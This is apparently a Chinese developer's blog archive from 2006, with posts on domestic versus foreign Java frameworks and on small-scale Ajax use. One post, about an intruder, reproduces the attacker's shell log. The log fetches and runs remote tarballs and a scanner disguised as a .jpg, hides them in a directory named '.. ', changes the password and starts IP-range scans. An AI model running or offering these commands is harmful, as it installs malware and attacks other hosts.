January 30, 2006
唉,麦克柔扫夫特
January 22, 2006
当个合格的webapp developer真是越来越不易了
January 21, 2006
遭遇intruder
cd /var/tmp ; wget fear.uv.ro/linux.tgz ; tar zxvf linux.tgz ; rm -rf linux.tgz ; cd ".. " ; ./bash
w
passwd
passwd
passwd
cd /var/tmp ; wget fear.uv.ro/linux.tgz ; tar zxvf linux.tgz ; rm -rf linux.tgz ; cd ".. " ; ./bash
cat /proc/cpuinfo
cd
wget sssh.go.ro/scaner/nk.jpg
tar xzvf nk.jpg
rm -rf nk.jpg
cd nk
./start 66.33
./start 200.192
./start 200.193
January 17, 2006
January 16, 2006
远交近攻?信任危机?
PS:以一个Javaer的视角。
《程序员》2006年一月刊有篇晴天有雨的《程序员的臭毛病》,里面有一条被认为是臭毛病的东西叫做“远交近攻”,听起来很有趣,大意是国内编程的人们倾向于BS和自己在同领域进行研究的同行,倾向于BS国内的同行,而喜欢和国外的开发者交流——无论那些老外水平究竟怎么样——并引以为豪。
我也经常和国外的开发者交流,直接email,mailing list,新闻组,IRC,抑或论坛,不过我觉得表面看来这些只能说明我的英语还说得过去,如果就这么引以为豪就太媚外了。老外也有很多菜鸟,有很多还是菜的不行那种,不过好在态度都还不错,大多不会不懂装懂,或者不懂还牛气烘烘的。
说“远交近攻”有点儿把程序员看得过于有城府了些。很多时候进到中文BBS、论坛,总是觉得不太舒服,“提问的智慧”之类的文章估计是没人愿意看,所以重复和提问前不经大脑的问题太多;有的回复也带着明显的鄙视口气,谅谁都不会舒服;文章之间有时也许还穿插着几条小广告。在这样的地方转一分钟比看一小时英文文档还累。相比之下国外这些地方清洁得多,当然垃圾还是有的。
有时我比较不习惯一些帖子的主题,比如“弱智问题请教”这样的,我是不敢承认自己是弱智的,否则还怎么混啊,所以还是默不作声当做没看见好了;还有“求做简单小程序,报酬xxx元”,刚看到还以为有人送钱来呢,还是“简单小程序”,点开正文一看,哇噻,难道发帖人以为现在是公元3xxx年,计算机AI已经超过人类智能了?
交流是一方面,另一方面应该是国内开发气氛的匮乏。我们的开源项目还是有的,精彩的也不少,不止Java一个领域。不过看看平日用的框架,web层的Tapestry、WebWork、Struts都是国外的,IoC容器的Spring、PicoContainer、Excalibur Fortress那些也是国外的,AOP更是几乎全被国外项目/产品垄断。这种情形应该是国内很多同行所痛心疾首的,所以一个个号称匹敌Struts、Spring的框架纷纷上马,大打民族主义旗号,号召同胞使用,让我忽而感觉像是在八国联军侵华的年代,硝烟弥漫,但是同样热血沸腾。不过在安静地检视这些框架时,我就觉得如果我们用这些框架来武装自己,无异于义和团拿冷兵器和红毛们的枪炮火拼。比创新比不过Tapestry、WebWork,比full-stack又比不过Spring(在看了这么久Spring 1.x的代码以后我觉得Spring并没有做太多革命性的东西),只能比比喊口号了。
在一个个代表中国这个、代表中国那个的框架虎头蛇尾或偃旗息鼓后,对同胞同行失去信任是自然的。也许有人会拿cathayan的“爱玩不玩”的逻辑来说我:你丫不一起玩就别废话。是啊,我一贯认为像我这样的小角色是不配去搞个什么代表中国的这个那个的框架的。
January 12, 2006
局部小规模Ajax会不会让人觉得很怪?
用了个很拗口的定语来表达我的这种描述:用Ajax做一种操作很简单的功能,比如对某个东西的添加、删除、修改。
用了script.aculo.us的Ajax.InPlaceEditor完成修改,添加和删除是普通的Ajax.Request,又搞了很多JavaScript来保证业务数据的有效性,不过很多人看了感觉,恩,不像个“真正的”管理后台。我ft…
似乎很多人都习惯了提交->等待->返回这套routine,表单一提交,就开始伸长了脖子等,等待下一个页面刷地出现时的那个激动人心的时刻,不管这个页面是告诉你操作成功还是告诉你哪个字段忘了填。如果局部使用了Ajax,好像会让这些人奇怪:“哎?我的请求究竟有没有被提交出去呢?”除非大规模使用Ajax,大部分操作都使用Ajax完成,用户也就习惯了。还有就是提示性的信息一定要及时、清晰和醒目,这方面Rico.Corner.round()可以很好地完成。
不过还是不太舒服,难道小范围地使用Ajax用来完成一些类似表单提交的功能真的会让人感觉有些怪?Auto-Complete除外,这个东西我认为不涉及“真正”的数据“提交”。
想起一句话:QJ也是能产生感情的…